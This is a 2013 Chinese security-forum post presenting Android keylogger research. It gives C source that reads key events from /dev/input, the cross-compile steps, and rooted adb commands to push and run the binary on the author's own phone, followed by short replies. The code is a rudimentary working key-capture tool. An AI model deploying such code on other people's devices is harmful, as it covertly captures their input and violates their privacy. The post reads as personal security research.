首页
社区
课程
招聘
[原创]Android -- 键盘记录 研究及补充
发表于: 2013-12-12 18:06 16568

[原创]Android -- 键盘记录 研究及补充

2013-12-12 18:06
16568

鉴于之前看见的hacknet大哥写的帖子,很多人说编译不了,没有源码什么的,
我做了如下整理,在我的MOTO机器上运行可以了。
附上代码和操作步骤!

标 题: 【原创】Android操作系统安全研究系列——键盘记录
作 者: hacknet
时 间: 2011-07-04,11:15:52
链 接: http://bbs.pediy.com/showthread.php?t=136517

首先你得先安装
arm-none-linux-gnueabi-gcc
这东西
我是在ubuntu下的,所以命令操作就如下

wget http://www.codesourcery.com/sgpp/lite/arm/portal/package4571/public/arm-none-linux-gnueabi/arm-2009q1-203-arm-none-linux-gnueabi-i686-pc-linux-gnu.tar.bz2

然后
拷贝

sudo cp arm-2009q1-203-arm-none-linux-gnueabi-i686-pc-linux-gnu.tar.bz2 /usr/local

解压

sudo tar -jxvf arm-2009q1-203-arm-none-linux-gnueabi-i686-pc-linux-gnu.tar.bz2

设置环境变量

export PATH=$PATH:/usr/local/arm-2009q1/bin/

此设置方法不是 永久性的,永久性的你可以自己更改/etc/bash.bashrc文件

OK了,可以准备编译了。

代码如下:

#include <stdio.h>
#include <stddef.h>
#include <linux/input.h>
#include <fcntl.h>

static int event0_fd = -1;
struct input_event ev0[64];

static int handle_event0()
{

        int button , i, rd;

        button = 0;
       
        rd = read(event0_fd, ev0, sizeof(struct input_event) * 64);

        printf("handle_event0 rd = %d  \n",rd);

     
        if ( rd < sizeof(struct input_event) )
        {
                 return 0;

        }

         printf("handle_event0 read OK ...\n");
     
        for (i = 0; i < rd / sizeof(struct input_event); i++)
        {
         if (ev0[i].type == 1&&ev0[i].value == 1)
                {
                        printf("Press Key: %3d\n", ev0[i].code);
              if (ev0[i].code == 158)
                           {
                                  printf("Press Key code: 158 ...\n");
                  return 0;
               }
         }
         
     }

         printf("Press Key: test ...\n");

      return 1;
  }

  int main(int argc, char* argv[])
{

          int done;

          done = 1;
      
          event0_fd = open("/dev/input/event1", O_RDWR);
      
          if ( event0_fd < 0 )
          {
                  return -1;
          
          }
      
          printf("Listening...\n");
      
          while(done)
          {
          done = handle_event0();
          }

          return 0;
}

然后

arm-none-linux-gnueabi-gcc -static key.c -o key



然后把生成的Key 给他PUSH到你的安卓鸡鸡上。



我这边是放在我的安卓鸡鸡路径的/dev/xxtest/目录下面

然后,按照下图这样的操作就完成了。



第一次写啊,高手莫砸哈。。。谢谢!

鉴于最后一张图不咋清晰,我把操作步骤复制出来了。

D:\Program Files\Shuame>adb shell
shell@edison:/ $ cd /dev/xxtest
cd /dev/xxtest
shell@edison:/dev/xxtest $ ll
ll
-rw-rw-rw- shell    shell      588392 2013-12-12 16:22 key
shell@edison:/dev/xxtest $

shell@edison:/dev/xxtest $

shell@edison:/dev/xxtest $ su
su
root@edison:/dev/xxtest #

root@edison:/dev/xxtest # ll
ll
-rw-rw-rw- shell    shell      588392 2013-12-12 16:22 key
root@edison:/dev/xxtest #

root@edison:/dev/xxtest #

root@edison:/dev/xxtest # chmod 777 key
chmod 777 key
root@edison:/dev/xxtest #

root@edison:/dev/xxtest #

root@edison:/dev/xxtest # ll
ll
-rwxrwxrwx shell    shell      588392 2013-12-12 16:22 key
root@edison:/dev/xxtest #

root@edison:/dev/xxtest #

root@edison:/dev/xxtest # ./key
./key
Listening...
handle_event0 rd = 32
handle_event0 read OK ...
Press Key: test ...
handle_event0 rd = 32
handle_event0 read OK ...
Press Key: test ...
handle_event0 rd = 48

补充下:

event0_fd = open("/dev/input/event1", O_RDWR);

这个代码有时候需要改,因为之前那位大哥写的是event0,可是我一直没显示输出。最后我进入我的手机安卓系统,用getevent命令查看,才发现我的是event1,所以就改了下。

就是如何查看event多少呢?

打开CMD
然后输入
adb shell

然后
su

然后
getevent

就可以看见是event几了。。。

好叻。收尾。。。


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 5
支持
分享
最新回复 (9)
雪    币: 2323
活跃值: (4113)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
2
嘿嘿~~
2013-12-12 20:35
0
雪    币: 33
活跃值: (58)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
psr
3
嘿嘿嘿嘿嘿嘿
2013-12-12 20:54
0
雪    币: 32
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
读取到的是整个屏幕的触屏信息吧?
2013-12-18 11:39
0
雪    币: 33
活跃值: (58)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
psr
5
是的,不过只有在输入的时候才有,没输入点屏幕没输出的
2013-12-19 10:52
0
雪    币: 33
活跃值: (58)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
psr
6
求加精啊。。。
2013-12-19 14:38
0
雪    币: 7
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
俄罗斯有款很牛的。
2013-12-24 21:27
0
雪    币: 33
活跃值: (58)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
psr
8
哪个?求推荐
2014-1-15 14:37
0
雪    币: 362
活跃值: (25)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
9
为什么不直接:adb shell getevent /dev/input/event1呢?
2014-2-24 14:28
0
雪    币: 1585
活跃值: (182)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
很好,支持
2014-3-6 14:42
0
游客
登录 | 注册 方可回帖
返回
//